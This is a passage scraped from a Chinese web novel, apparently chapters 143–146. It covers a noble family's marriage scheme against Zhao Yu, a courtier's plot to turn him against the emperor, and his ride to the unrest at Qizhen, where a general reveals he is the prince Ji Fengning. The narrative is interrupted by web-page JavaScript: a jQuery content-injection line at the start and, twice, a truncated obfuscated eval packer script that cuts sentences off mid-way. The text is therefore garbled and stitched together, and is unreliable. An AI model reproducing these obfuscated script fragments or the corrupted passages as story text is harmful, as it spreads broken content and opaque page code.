$(''.inform'').remove(); $(''#content'').append('' 瑶,你和她,……” “咳!”太贵妃忽然进来,身后的宫女为赵格非捧了一碗西瓜梅子冰,“你爹那心思,我懂!” 赵毓,“啊?您懂什么?” 太贵妃说,“这有啥不好开口的,我来说。格非,你在书院可认识什么年轻的后生吗?” 赵格非放下笔,先是微微屈膝,对着太贵妃见了礼,才端着西瓜梅子冰过来坐好,说,“也有,但是交往不深厚。一来,他们毕竟要科举,十年苦读为了功名,现在不敢分神作一些诗词歌赋,与我的功课不相符,我也没什么要请教的;再来,那些都是雍京名门的贵介子弟,想的东西都差不多,与其中之一交谈,我已然知晓那些条条框框,再来,就没什么趣味了。” 赵毓摸了摸鼻子。 赵格非,“祖母与亲爹可是问我,是否有良人?” 赵毓不知道该怎么回应,又摸了摸鼻子。 太贵妃,“如果有合心意的后生,你说一说,让你爹帮忙拉红线去。” 赵格非,“我一定要在书院找合心意的良人吗?” “不,不一定。”赵毓,“这随你心意。” 赵格非,“那就是没有。” 赵毓,“得嘞!” 太贵妃狠狠瞪了他们父女两个,也是没辙,心中有些火腿上有力气没处撒,于是把赵毓一脚踢出了寿春宫。 …… 如今靠近一伏天,雍京夏夜也不凉爽。 大正宫高墙重重,月朗星稀,倒是有风。 赵毓晃晃悠悠到鹧鸪殿,面前是烟波飘渺太液池,水雾上来了,很是惬意。 文湛还在微音殿,黄枞菖当值,所以也不在。赵毓让人准备了一些小食,几个小盘子中放着蜂蜜黄米凉糕,桂花酥,冰酥醪,和莲子冰碗,又擀了细细的面,吊着清淡的鸡汤,等文湛的脚一踏上前殿的台阶就用小炉子砂锅煮面,等文湛盥洗完毕,换了衣服坐在木椅上,面已经煮好,端了上来。 “又这么晚?”赵毓手中摇着一把竹扇,光脚穿着木屐在池子前面来回走,木头搁在石头上,格叽格叽的,显得他似乎有些烦躁。 文湛嗯了一声,就开始安静吃东西。 赵毓在池水边,一伸手拽了一张大荷叶,他把扇子扔给一同回来的黄枞菖,开始揪荷叶。 “你怎么了?”文湛没抬头,手中拿着筷子夹起一块桂花酥,放入口中,咀嚼的一丝声音都无,他又喝了一口茶,“有事?” 赵毓拽着荷叶坐过来,却看向黄枞菖,“黄瓜,得空,你给我查一下沈熙载家的人口,看看他有几个大小老婆,生了几个儿子,几个闺女,还有他们家兄弟姊妹,姻亲,以及这些人的大小老婆,儿子闺女,还有外面的姘头。” 黄枞菖一愣,“光禄大夫沈熙载?” 赵毓,“难道,朝堂上还有第二个沈熙载?” 沈熙载,姑苏人,以博学大儒为资本做了光禄大夫这个三品闲职,似乎名不见经传,实际上在朝廷上拥有举重轻重的地位。沈氏是江南巨宦,数百年的世家高门,数代人都是江南兰芝社的领袖,他们家的门生故吏曾占大郑文官半壁江山。 文湛也是意外,认真问道,“出什么事了?” 赵毓说,“今天,花骨朵带了一个同窗到元承行,是个小姑娘,叫沈瑶,应该就是沈熙载家的人。” 文湛,“你怕沈家女接近格非,有什么目的?” “那倒不是。”赵毓一摆手,“格非应付这些,我还是放心的。我担心的是,……” 文湛,“什么?” 赵毓想了想,总觉得不对劲,可是,他又觉得自己想太多,他磨了磨牙,才说,“我觉得,这个小姑娘,没把我当叔伯。” 文湛放下筷子,象牙的筷子碰到官窑瓷碗的边,发出如同琴弦拨动的一声,异常的微妙而耐人寻味。 黄枞菖立马向后躲了一步,却被赵毓一把扯住袖子,“你躲啥?” 这边扯着袖子僵持着,那边文湛端着茶水喝了一口,“承怡熟谙风月,精通男女之事,你感知的事,大抵不差。” 赵毓听着脖子冷了一下,连忙放了黄枞菖的袖子,凑过来解释,“我是怕,沈熙载有什么歪念头,推他家女孩子进火坑。” 文湛眉毛微微一挑,放下茶盏。 赵毓连忙端着莲子冰碗,剜一勺子,喂进文湛的嘴巴中,又挖了一大勺蜂蜜,这才堵住了皇帝的嘴。 “文湛,你说,在联姻上他们的脑瓜子动来动去,找的全是十四五岁的半大丫头。” “小姑娘没事儿多念点书比啥不强?” “唉。这群人也真是,就算动个邪念头,都不精心尽力,想要套住我,与其弄几个半大丫头,还不如,……” 赵毓陡然发觉自己话多。 他连忙闭嘴。 可惜,晚了。 文湛咽了蜂蜜莲子,冷冷看着他,“不如什么?” 赵毓,“呃,……” 他说着,看了看四周,除了眼前这个早已经屏住呼吸成为木雕泥塑的黄枞菖,其他人都在大殿之外的之外。 偌大的鹧鸪殿,如同荒漠。 “这个,……” “……” 赵毓咳嗽了一下,“不如,找个年纪大一些的,知冷知热的。我不喜欢十五六岁的,我喜欢三十二三岁的,模样得好,一定是顶尖儿中的顶尖儿的,书读得多,人斯文,会不会做饭无所谓,是男是女也无所谓。” 难为他搜刮肚肠,扯淡也终于扯出个四五六。 半晌。 文湛终于伸手拿了筷子,重新斯文无比的开始吃饭,赵毓连忙拎着茶壶,一边笑,一边给他满了一盏茶。 “承怡,如果你的感知没有错,兰芝社想以联姻离间我们。” “啥?”赵毓愣了,“离间我们?这可真是有意思了,不过,兰芝社的贵女就连皇后也做得,给我这个庶民当续弦,他们不觉得浪费人才吗?” “以一个世家女子的联姻,就想笼络我皇族悍将。”文湛轻笑,“还真是异想天开。” 第三日,沈熙载长女沈瑶的庚帖就送到了赵毓手中。 赵毓也不禁摇头,“真肯下血本。” 不过,没等到他亲自登沈家门去辞谢,薛宣平从门外蹿了进来,扯着他上马,“快,快跟我走!” 赵毓凌乱,“你姥姥诈尸了?” ”你姥姥才诈尸了!“薛宣平,“绮镇乱了。” 没等他话音落,赵毓翻身上马,双腿一夹马肚子,如同离弦之箭,已经冲出数里,遥遥不可见了。 144. 144 144 “《诗》三百,一言以蔽之,曰:‘思无邪’。” 沈熙载府邸。 雍京北城的庭院,静中取静。侍姬身穿素衣,不熏香,手中一把供春树瘿壶,正在点茶。这把壶有些来历,器型如银杏树瘿,造化的鬼斧神工,凝结逝者如斯夫的时光,显得古朴温润,犹如桀骜的君子。 “蒹葭苍苍,白露为霜。所谓伊人,在水一方。” 沈熙载拿着茶盏饮茶,同时,又吟出第三句,“关关雎鸠,在河之洲。窈窕淑女,君子好逑。” 杜玉蝉将手中的白子点在棋盘上,却说,“尧之公好兴致。” “雪公。”沈熙载说,“这黑白方圆如此多的别名,我只喜欢木野狐,雪公可知其中缘由?” 杜玉蝉端茶盏,“言其媚惑人如狐也。” “正是。”沈熙载一拍手,旁边有侍姬端了掺了冰梅子汁水的米酒,他换茶饮酒,笑着说,“雪公方才说,赵毓此人,不易攻破,可是雪公可知道,这世上没有万世不灭的高山,也没有无法横渡的沧海。志在人为,事在人为。” 杜玉蝉也换了酒,喝一口,红色的梅子染了嘴,显得有些血色,“我明日启程,回江南,雍京的事,只能倚靠尧之了。” 沈熙载,“可是有何变故,走得这样急。” “十三行有变,周熙已回永嘉。”杜玉蝉,“变故不变故,我也得回去看看。只是,……,赵毓,……” 沈熙载放下酒盏,屏退周围,等人都退干净了,他才在杜玉蝉耳边说话。 极轻。 “与大郑列祖列宗相比,今上在军权上受到的桎梏,简直不值一提。” “他不用舍土封疆,不用耗尽税银,甚至不用纳内宠笼络权臣,如此不伤筋骨就能平灭数百年战乱,收复西疆,他日无论昏聩无能还是恣意妄为,只要大郑宗庙不毁,今上就能入太庙永享祭祀。” “因为皇族有赵毓。” “赵毓此人,看似庶民百姓,实则宗室亲王,且手握重兵。” “先帝下旨褫夺祈王爵位这一招,以退为进,十数年之后再看,竟似一把刀,直接杀在棋局上,让我们的处境较之令祖父被罢官夺爵之时更为艰难。” “所以,必须使赵毓与今上离心离德,我们才能得稍许喘息的时机,再做筹谋。” 良久,杜玉蝉才开口,却语焉不详,“只是,……,他们,……” “世上没有无法离间的君臣。”沈熙载打断他,说,“丹书铁券的妄念,鸟尽弓藏的帝王心术,戏台上已经唱了几千年。” 说到此处,他重新端起来酒盏,吟出第四句,“夭夭园桃,无子空长。虚美难假,偏轮不行。淮阴五刑,鸟尽弓藏。保身全名,独有子房。” 对于此时的赵毓来说,丹书铁券是天边的浮云,眼前的羊杂膻不膻才是关口。 加胡椒,米醋,……,葱花芫荽也多一些吧。 弄完,他与薛宣平蹲在土地上,就着烧饼开始喝汤。 赵毓手指皮薄,怕烫,就从怀中掏出一方熏染了浓重香料的绢帕,垫在手掌心,端着大碗溜着边吸溜吸溜喝汤。 “这香料也挺贵的吧。”薛宣平被熏的打了个喷嚏,“原先没见你这么矫情,擦口水鼻涕的方巾也熏得这么刺鼻子。” 赵毓掰了口饼吃,“他的。” 薛宣平当然知道赵毓口中的“他”就是那个小白脸,“他们家也挺阔的吧,什么东西都熏,好像这些名贵香料都是花椒大料一般。” 赵毓,“还成吧。” 薛宣平,“这个小白脸,是不是从来没有为钱发过愁?” “这个世上哪有不为钱发愁的?”赵毓看了看他,“邻居们不省心(西北兵灾方平,北境狼烟乍起),整天拿着刀枪棍棒找茬儿,后院的篱笆要固(长城边境要护),家里内斗也是抠鼻子挖眼的(藩镇,江南兰芝社),有祖田也是靠天吃饭(儒家治国三板斧:以农为本,轻徭薄赋,克己复礼),有些年景好,能松快些,有些年景艰难,也得拆了东墙补西墙,再加上修宅子修路修水沟(大郑全境官道、驿道和运河的维护,漕运的保障),一睁眼,开门七件事,柴米油盐酱醋茶,一样不少。” 薛宣平听了个稀里糊涂,“这小白脸,到底是做哪行的?” 赵毓,“算是祖宗传了家业,守成的。” 薛宣平,“要不,让他卖了祖产,跟咱干得了。那小白脸跟着你,就是咱自己人,怎么着不会让他难着。” 赵毓,“他爹当年传家的时候(先帝禅位,今上登基),指着祖宗坟头儿发了誓(在岐山神宫祭祖),他要是守不住(山河破碎,宗庙被毁),天打五雷轰,死后挫骨扬灰。” “……??!!”薛宣平,“呃,那就算了吧。” 这两个人,吃完羊汤烧饼,赶紧上马赶路。 雍京到绮镇并不近,他们紧赶慢赶,到绮镇地界的时候,天都擦黑了。 绮镇南界,乱糟糟的。 薛宣平下马,把缰绳扔给赵毓,自己向前赶了几步,才发现围了一圈人都是看热闹的,他再向前拱了拱,拱不动了,是因为围着一层兵士,就守在绮镇的边缘界线上,而那之后,则是绮镇一片一望无际的稻田,成熟的玉碎珍珠米饱满的低垂着,在薛宣平这种行家眼中,就像是禾苗上挂着一锭一锭的白银,触不可及。 “出什么事了?” 他向周围人打听了打听,可这些人七嘴八舌,却说不出个准信,隐约就是说,绮镇民变,官兵镇压。而上面的大人嫌弃绮镇本地兵士不够忠心不二,直接从雍京兵部带了兵马过来。至于绮镇到底是怎么个民变,是造反还是抗税,谁都说不清楚。毕竟,这里距离绮镇腹地,还有十里的长路呢! 薛宣平又拱了回来,看见赵毓把马栓好,站在土嘎啦上。 “老赵,看什么呢,这么入神?” “这些兵是雍京来的吧,有点意思。”赵毓从马鞍子下面拿出一个包裹着很仔细的布包,扔给他,“你看看他们,站的地方挺讲究的,都在划界土路的南面儿,也就是说,他们现在根本没有踏入绮镇的地界儿,还在雍京管辖的地方立着呢。” 听赵毓这么一说,薛宣平才注意到,哦了一声,“走,咱们去问问,看能不能过去。被截在这,也不是个事。” 一边走,还装模作样的感慨一句,“这么讲究?带兵的主将心思还挺细腻,不错,我喜欢。” 他刚说完,就想把这话撕扯了,煮熟,浇上肉臊子,泼上热油辣子,一口一口生嚼了。 带兵主将是一个年轻人,二十三四岁上下,一脸的雍京公子相,却极其板正。而与他那张极其年轻的脸蛋子异常不匹配的是,他身上官服居然是正二品!他面无表情,手中的长杆子,划出一道楚河汉界,“闲人向后退,不许过界。” “我们不是闲人,我们是绮镇人,我们得回家,您得让我们过去。”薛宣平第四遍对他说着,单手掌着赵毓扔过来的布包,早已经打开了,露出里面,是一叠子的地契,“看,这是我们的绮镇地契,没骗您吧。” 那位主将依旧平淡冷静的说,“闲人向后退,不许过界。” 赵毓也不说话,还真挺像个闲人一般,就拿着马鞭在薛宣平身后转悠,晃动了两下,看了看这里,难得,轻微叹口气,于是又继续晃动。 薛宣平咽了口水,他觉得自己五脏庙造反,于是,想把眼前人扯了,煮熟,浇上肉臊子,泼上热油辣子,一口一口生嚼了的欲|望更强烈了。然而,他眼前这名主将就像个严丝合缝的铸铁坛子,一点缝隙都欠奉。 雍京公子相。 这种相貌很难说清楚到底是个啥,但是只要在雍京这大码头混久了,见得人多,认识得人多,终究会明白的。 苍白,冷淡,消瘦中带着的锋利。 像赵毓! 钟鸣鼎食能泡糟烂了骨头,也能泡出赵毓,和眼前这位、甚至连赵毓这个二百五都无可奈何的二品年轻主将。 “老赵,别在那杵着,我饿得说不动了,你来!”薛宣平说着把赵毓扯到前面。 赵毓手中的马鞭赶紧收了,面对那人,严整施礼,“大人。” 没想到那位主将竟然身体向右边侧了一下,没受赵毓的礼,又说,“不敢您称大人。” “在其位谋其政,眼前您就是大人。”赵毓说,“我们不敢让您通融。您奉上峰军令,一枉一纵都是死罪。但是,我们也是真的需要到绮镇去。” 说着,他向前蹭了半步,那位主将却后退了一步。 赵毓又叹口气,“我们去绮镇,不是去闲逛的,而是去平事儿的。您看,能不能指条道儿。” 说着,他又向前蹭了半步,这一次,那位主将岿然不动,因为,再退,他就要跨入绮镇的地界了。 赵毓说,“我们该做些什么,该去找谁,才能过去?” 边说着,赵毓的脚丫子已经探到了雍京与绮镇的地界边缘,却被那位主将一把拉住,推回来,“赵先生稍安勿躁,绮镇情况不明,无论是祸乱还是民变,又或者是其它,此时您都不宜沾边。” 赵毓此时才察觉到问题的严重,并且,从眼前人话语之间听出了弦外之音,——绮镇似乎有他们出雍京时候没有探知到的东西。于是正色,先是道歉,“是我思虑不周。”进而说,“我之前只想快些到绮镇,把乱七八糟的事儿给平了,没想到,……” 薛宣平饶是再急,这个时候也冷静了下来,对着主将深施一礼,“封将军,是我们冒失了,幸亏有您在这里,不然我们不知轻重一脚探进去,再拔|出来,不沾个两脚泥是绝对不会顺利脱身的,没准儿还要砍下一条腿,才能断尾求生。封将军,咱们也是多年未见,如今我们都在雍京城讨生活,以后您要是缺酒喝,一定要来找我,别的不说,老白干管够,猪肘子管够!” 薛宣平觉得自己特别热情,热别好客,特别念旧情!他对自己满意的那简直就是一塌糊涂!结果那位主将白纸着一张脸,安静的看着他说,等他终于说完了,就平淡说了一句话: ——“我不姓封。” 薛宣平,“(⊙_⊙)” 不错,薛宣平认识眼前这人,当然,赵毓同他更加熟悉。 因为。 这位主将,曾经是赵毓在敦煌行辕的门神。 薛宣平第一次在西北看到这人,就是九年前,在敦煌。 那是元熙五年,腊月底。彼时西北战事不利,赵毓从雍京押运回来二百七十万两白银的军饷善后,同时跟来的还有一个十三四的半大小子,就是眼前这位主将。 俗话说,三岁看老,这小子当年就是一付板正冷淡的模样。 赵毓同他的关系挺耐人寻味的。说他们不熟悉吧,老赵千里迢迢把个半大的孩子从雍京带到敦煌,万一出点啥事,和人家大人不好交待;可是要说他们熟悉吧,以薛宣平被烤羊腰子和馕塞满的脑袋瓜子都能品出那两个人疏离的味儿来,也确实谈不上亲热。 可,最损、最绝的却是,赵毓把这孩子当门神一般,贴在自己西北主帅行辕外。 当年,这是敦煌一景儿。 老赵觉多,一天三个时辰的沉眠雷打不动,偏偏西北战事瞬息万变,总有人、有军情在他睡觉的时候上门打扰。这小子面色如纸,油盐不浸,就守在赵毓行辕门外,谁来了,都是那句话,——“闲人向后退,不许过界。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果周围没有稻田、官道、茂密的树林,与和煦的雍京盛夏夜风,兵士们身上俱是雍京编制的服色,他以为自己看到了赵毓的嫡系军队!那支,早已经被解散在敦煌的军队。大郑军队真正的王牌,不世出的名将与无数的辉煌战绩,却只能掩盖在西疆万里黄沙之下。 一瞬间,薛宣平似乎又回到了西北。 有万里黄沙,也有天山绿洲。 起风了,送过来浓稠的血腥味道,也送过来红柳羊肉和葡萄美酒的香气。 薛宣平扭头寻找赵毓,他想看看这位昔日的不世出的名将此刻的光景。 呃,…… 此时的赵毓撅着腚,爬在河水边上,拿着牛皮水囊正在灌水。 这位昔日的不世出的名将一边灌水,一边扒拉水,还一边抱怨,“这水咋这么冷,连条能塞牙缝的鱼都欠奉。” 一瞬间,薛宣平立刻回到了雍京北绮镇南的小树林中。 “老赵,你看那些兵士,居然也没带干粮?” “想必和咱一样,事发突然。”赵毓认命,知道一条小河里面捞不出大鱼,于是拎着水囊起身回来,靠着拔|出地面的大树根躺着,“他们应该也是急着出了雍京城,本想着到绮镇吃饭,却没料到天有不测,绮镇有旦夕祸福,今晚的绮镇大肉包近在咫尺,却远在天涯。” 说完,有气无力的叹口气,“唉,~~~~~~~~” 薛宣平,“……” 其实,对于饥饿,他们挨得住。 真要打起仗来,三天不吃饭不睡觉的事儿常有,此时太平了,饿一顿都不是个事儿。 薛宣平又看了看那个不姓封的封将军以及他的部署,——这是一支诡异的,带着极强赵毓烙印的军队。 看来,抗一顿饭的缺失,也不是大事儿。 “老赵。”薛宣平看着赵毓,“我想问你一件事,憋在我心里几年了。” “账房不是知道我的钱在哪儿吗,你想借钱直接开口。”赵毓莫名其妙,“这点破事儿还用憋着?” “谁跟你借钱了,我问正事。” 薛宣平一摆手,正色道,“当年,西北战事平息,你回了一趟雍京。” 当年,一封内廷司礼监的红封诏书八百里加急递送西北,赵毓只交待了一句“家中有事”就千里回京。 萧则与另三人随扈,却被挡在雍京城门外。彼时,雍京九门封锁,只有赵毓关防能进城。多年之后的今天,一些流言兜兜转转,薛宣平就算消息路子野,也只是隐晦得知,当年皇帝遇刺,生死未卜,东宫未立,大郑王朝在天下无察无觉中,经历了一场几乎要倾朝覆野的危机。 “当年那个光景,平定西北数百年战乱的大功,雍京内乱,老赵你就算趁机要挟朝廷割据土地,都不是没有可能。可是你补齐了八百万白银的军饷,一刀裁撤了西北军,自己回冉庄种地去。” “你咋想的?” “有什么比裂土封王更重要?” 赵毓一边听着,一边喝水,一边从怀中拿出浓重香气的手帕擦了擦嘴,有些莫名其妙,“有很多事都比这玩意儿重要啊。我们明天能不能到绮镇,绮镇到底咋了,绮镇的肉包子到底是加大葱还是加豆角又或者是加茄子,哪个更好吃,等等。” 想裂土? 大郑一千二百年,有这个想法的衮衮诸公,坟头都成古迹了。 薛宣平也知道问不出啥,“你啊,说来说去,其实就是没出息。” 赵毓一挑眉。 薛宣平,“我看,在你眼里,裂土封王也不如你那个小白脸热炕头。” 赵毓一乐,满脸发|春,不住点头,拿着香气浓郁骚气十足的手帕又擦了擦手,“这到是句实话。” 145. 145 145 许是山林中寒气袭人,薛宣平后半夜被冻醒。他睁开眼就是一激灵,——赵毓不在!他记得,明明方才揣着袖子合眼的时候,赵毓窝在一旁的树根边,像个土豆。现如今更深露重,苍茫寂寂,大树下只剩自己了。眼前这光景,颇像是话本上的那种鬼狐出没的荒山寒夜。 然而,…… 不远处有火,还有人说话的声音。 薛宣平定了定神,从大树边蹭起来,向火光的地方挪了一截。 “此时,就算兄长进入绮镇,也是于事无补。” 这是,……,那年轻主将的声音? 为什么称呼赵毓为“兄长”? 在西北的那些年头儿,这位主将一直刻板守礼,称呼赵毓为“赵将军”。 心中有疑问,薛宣平又向前凑了凑,这次听得更加真切,—— “不过一些田土买卖的纠纷。”赵毓的声音,“我有绮镇的地契,总还是能说得出道理的。大家和气生财。这事儿,归根到底,不是要纠出是非对错,而是要做到和煦圆满,农人有田种,秋后有粮收,再缴纳了税贡,这一年就过去了。” “兄长不过回雍京三年,怎么,这三年的钟鸣鼎食就泡软了兄长的骨头?讲话都绵软多了。和气生财?”那人细微笑了一下,才问,“先是激起民变,等兄长进入绮镇,再伺机杀兄长灭口,就以兄长身为贵胄却不顾大郑国法侵吞百姓田土激起民变的重罪向圣上弹劾您,那时,兄长身死寂灭,如何自辩?” 赵毓,“我再不济,尚能自保。” “靠兄长受伤不能开弩的左手,还是靠您身边那个伙夫?” ——伙夫?! 薛宣平当然知道自己的底细在这个主将面前一览无余,毕竟大家都是赵毓西北军的嫡系。只是,在外人面前做了几年极其体面的元承行大掌柜,人五人六的,忽然被一个“伙夫”的称呼拉回了十多年前,有些感慨。那个时候,他还是个毛头小子,到西疆当兵之前,连鞋子都没穿过,更不要说顿顿吃饱饭。他现在还记得,自己这辈子第一顿把肉包子吃到吐,就是在赵毓的兵营里。 “我少时便追随兄长出征西北,亲眼见到兄长如何立下岿然于大郑宗庙的不世战功。那十年,熟悉了兄长的杀伐决断,却从未见过兄长如今这般青衫布衣的做派,许是父王说对了。” ——父王?! 薛宣平听到这两个字,后脖子一激灵。 他怎么忘记了? 赵毓貌似草民,实则出身大郑皇族,能正经呼他一声“兄长”的人,又怎么可能是平头百姓? 怪不得,他年纪如此轻就是正二品武勋! 而且,他终于意识到,这位“封宁”将军,根本就不可能姓封!! 原本,赵毓一身懒散,此时倒是规整起来,不但身子站得极其板正,双手也垂到身前,恭敬微微低头,“王爷有何教诲?赵毓洗耳恭听。” 此时,不姓封的“封宁”将军立即错开半步,避开赵毓的恭敬,这才说,“兄长的事,我不敢过问。等日后兄长见到父王,当面问他就好。” 赵毓极其轻的叹了口气,“你咋样?” “兄长问我?” 赵毓点头,“原先在西北的时候吧,就觉得日子特别长,想来是因为难熬。现如今太平了,人也活着也回来了,就觉得这日子跟不要钱的面汤似的,挡不住地向外泼洒,哗啦啦一下子,还没咋的,就没影儿了。那啥,哪个圣人不是说过,逝者如斯夫?刚带你到敦煌的时候,你还是个秃小子,现在都成大小伙子了。今天第一眼看到你,我都没敢认。回雍京的这几年,你过得咋样?” “劳烦兄长挂念,我很好。前日随扈圣驾在南苑狩猎,陛下还说我箭法不错,想必在西北这十年没有荒废。我很感念兄长,随即请旨,想到兄长雍京府邸递名帖,上门拜见。” “啊,这,……”赵毓,“陛下恩准了没?” “那时不巧,司礼监柳掌印奏事,陛下也没在意我这种小事,所以,没说同意,也没说不同意。如果不是今日偶然遇到兄长,我还得再请一道旨,才能登兄长府邸的门。” 赵毓,“……” “怕给兄长惹麻烦。” 赵毓,“你有什么麻烦可惹?” “兄长与我往来,如果不请明旨,怕言官弹劾。” 赵毓,“弹劾啥?” “笼络西北旧部。” “呃?!”赵毓,“弹劾的由头为什么不是,——外臣结交宗室?” “先帝一道明旨,将兄长褫夺王爵,这是谁也无法违逆的。只是,兄长虽然做不得祈王,却依旧归属于我姬氏王族。我们往来,就是您与族中兄弟往来,这是人之常情,就算柳密下笔如刀,想要亲自写奏折弹劾,也挑不出这个理去。可是,兄长作为曾经手握重兵的亲王,在雍京居住期间,竟然笼络西北旧部,这是涉嫌谋逆的重罪。” “啥?!姬氏王族?!!谋逆?还,还,还……还重罪?”赵毓脑袋乱哄哄的,被这几个他认为根本不可能与他沾边儿的字眼儿砸晕了,就只捡了一个熟悉的名字,“柳密?” “嗯,督察院左都御史柳密。继左相楚蔷生之后第二把文刀,兄长不知?” “我知道他。”赵毓连忙点头,“不过柳密想来没这么无聊。” “这不是无聊。如果我们行差踏错,柳总宪弹劾,也是他忠君之事。” “……??!” 半晌,赵毓终于回了神儿,“盐打哪儿咸,醋打哪儿酸。咱先别说谋逆这种吓死人的字眼儿,你说我依旧隶属王族是怎么回事?十四年前,我被先帝褫夺王爵,那个时候,我的玉牒不是已经从宗正寺起出来了吗?我已经被削王爵,宗室除名,降为庶民了呀。我是曾经拿着先帝的虎符出征西北,那是事急从权,天恩浩荡,我不能算啥子曾经手握重兵的亲王吧。” “兄长难道不知,您在宗正寺的那份玉牒是被拿出来了,可是,您在岐山神宫的那份玉牒依旧供奉在白塔之上?您非先帝亲子,无法再做宗室亲王,可是,依照古法,您依旧是姬氏王族子孙。我大郑开国一千二百年,如今奉行孔孟圣人礼法,只是,我姬氏定鼎天下之前并非草莽,而是拥有八百年宗庙的诸侯。王族有王族的古礼,逾一千八百年,即使与孔孟相悖,也是后代子孙不可违背的祖宗之法。” 赵毓,“……??!!!” 他彻底懵了。 耳边有些嗡嗡,他张了张嘴巴,喊了一声,“老薛,你还打算偷听到啥时候?” 薛宣平这才凑到火堆旁,“你什么时候注意到我?” 赵毓,“从你一睁眼。” 薛宣平,“你们就当着我的面说这些话,不怕吓着我?” 赵毓,“我大半的钱都是你在管,封宁和你在一个饭桶中舀了十年的菜肉,这些话,还吓不着你。” 薛宣平笑着抛了赵毓,凑到不姓封的封将军面前,“将军,我们也算是十年的饭友了,您要不嫌弃,给我交个底,您到底是谁?如果您要是没有什么不得已的苦衷,就告诉我呗。我这个人心窄,要是有我不知道的事儿就发生在眼前,前思后想,抓耳挠腮的,难受。” “到不是什么苦衷,从权便宜而已。薛先生,多年未用真名相交,终是我不够坦诚。” 那人后退一步,抬手揖礼,“在下燕王次子,琅琊郡王,姬奉宁。” 果然。 ——薛宣平心想。 赵毓他们家好像搭建戏台子的,一个一个的,出场的倒是没有才子佳人,却是一窝子帝王将相。 深夜愈加冷了,眼见着距离黎明不远,赵毓与姬奉宁告辞,扯着薛宣平回到自己霸占的树根前面,继续窝着,顺便想想,下一步要怎么走。 “老赵。”薛宣平也生了一堆火,“按照那小哥儿说的,你是王族,那你肯定也有一个和他一般的名字。” 赵毓,“啥?” 他怎么觉得,今天夜里风水不对,进入耳朵里面的话,他咋都听不太明白? 薛宣平,“你看啊,你现在叫赵毓。这名字听起来特别像包子羊汤,满大街都是。可是人家小哥儿那名字,姬奉宁,听着特别的,……”薛宣平一时半会儿找不到合适的词,“就是特别的那个。” 赵毓,“……??!” “就是,……,”薛宣平,“唉,刚才他不是说了吗,你依旧被供奉在岐山神宫,那你的牌位上写着啥?” “死人的名字才写在牌位上呢!”赵毓郁闷,“应该这么说,——我的玉牒供奉在姬氏王族白塔之上。” 薛宣平一挥手,“甭管是个啥,就是,你写在那里的名字是啥?” 不知怎么了,赵毓张了张嘴,这个名字却没有说出口。 他还记得,当时殷忘川托人将他的海南黄花梨手串送回,上面吊着一块玉牌,那是最上等的羊脂玉,犹如和氏之璧,价值连城。玉牌上就刻着他曾经的名字。 ——要多么贵重的人,贵重的名字,多么不朽的大功业,才能用如此无暇美玉刻写名字! 他记得彼时曾经对黄枞菖说,“… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯。”薛宣平似乎很满足,“这个名字挺好。” 赵毓笑着问,“你原先叫什么?” 薛宣平,“你怎么知道我改过名?” 赵毓,“我自然知道。” 薛宣平忽然点头,“也对。” 赵毓,“你是我身边的人,而且是伙夫,经你手的食物是要进我口的。这等于扼住我的咽喉,掌管我的生死,你的来历,我自然一清二楚。我知道你是在家里犯了事儿,逃到西北的,自然会更名换姓,而且,你的名字挺文气的,不像你爹妈会想到的名字。” 薛宣平,“就知道你肯定什么都知道。我原先姓牛,叫高粱。我娘生我的时候,我们家种高粱。” 赵毓又笑了,“幸亏,你娘生你的时候,你家没种玉米,不然你就得叫牛棒子了。” 薛宣平,“你别说,我四叔家的娃,虽然不叫牛棒子,可是他叫牛白菜。他落地的时候,家里白菜种得不错,那一年能吃饱饭,我奶奶没有出去要饭。” 赵毓,“靠天吃饭,朝不保夕,唉。” “你别叹气。”薛宣平,“我们不能跟你比。不过,老赵,我觉得呀,赵毓这个名字,我听着顺气,你那个写在啥玉牒上的名字,姬承怡,是吧,我听着也挺顺耳,就是吧,感觉太娇贵。” 赵毓点头,“是挺贵的。” 薛宣平,“反正也不睡了,老赵,你跟我说说,你当年的日子,得多富贵?” “当时年纪小,想着,那日子也挺普通的,以为大家都是这么过日子的,后来去了西北,才知道,……”赵毓空了一下才说,“不说别的,织造局供奉宫廷,每年的制衣费用超过五百万两白银,我的衣袍独占八十万两白银。” 薛宣平,“……?!!!” 姬承怡。 先帝长子,宠冠诸王。 他的降生,让先帝曾经风雨飘摇的皇位稳固了下来。所以,先帝为他亲赴岐山祭天,并且亲手将写着他名字的玉牒供奉在岐山神宫白塔之上,受神宫逾一千八百年的香火供奉,那是比大郑王朝更加久远的历史。 半晌。 赵毓在火堆中添了木棍,看了看薛宣平,“你的嘴巴怎么还张着?” “吓傻了,脱臼。”薛宣平口齿不清,“老赵,快,给我把下巴按上!” 赵毓,“……” 146. 146 146 天色刚微微亮,有些人起了争执。 就在雍京与绮镇交界的地方。 赵毓被惊醒,他迷糊中听了个大概。——绮镇那边有官员过来,姓陈,看到姬奉宁将本应该进入绮镇平叛的军队死死勒住在雍京边界,彻底怒了,于是进行严厉问责。 而姬奉宁听完并不争辩,只是说,“绮镇民变这件事扑朔迷离,真相未明。如果我贸然进入绮镇,恐怕有些人借民变脱身。请陈大人稍安勿躁,我已经遣人回雍京,我们再等等。” 那位姓陈的官员怒问,“你给我把话说清楚,什么叫做借民变脱身?” 姬奉宁,“如果有人以不可告人的目的激起民变,而我在不明真相的情况下,将乱民错杀,这岂不是将罪孽掩盖?” “你奉得是兵部命令进驻绮镇!”那位姓陈的官员似乎从来没有想过会出现这种情形,气得声音已经开始裂开了,“你敢抗命?!” “他有何不敢?封宁将军刚回雍京不久,陈大人不认识他。”一道清晰明烈的声音从绮镇方向传来,地地道道的雍京官话,犹如贵胄的华服,在旭日东升的此地尤为刺目。随着语音,那人的马也到了,他勒住缰绳,下马,“封将军曾经隶属西北军。” 看到他,赵毓忽然明白,为什么姬奉宁死活要把自己拦在雍京地界上了。 竟然是随侯世子,石慎! 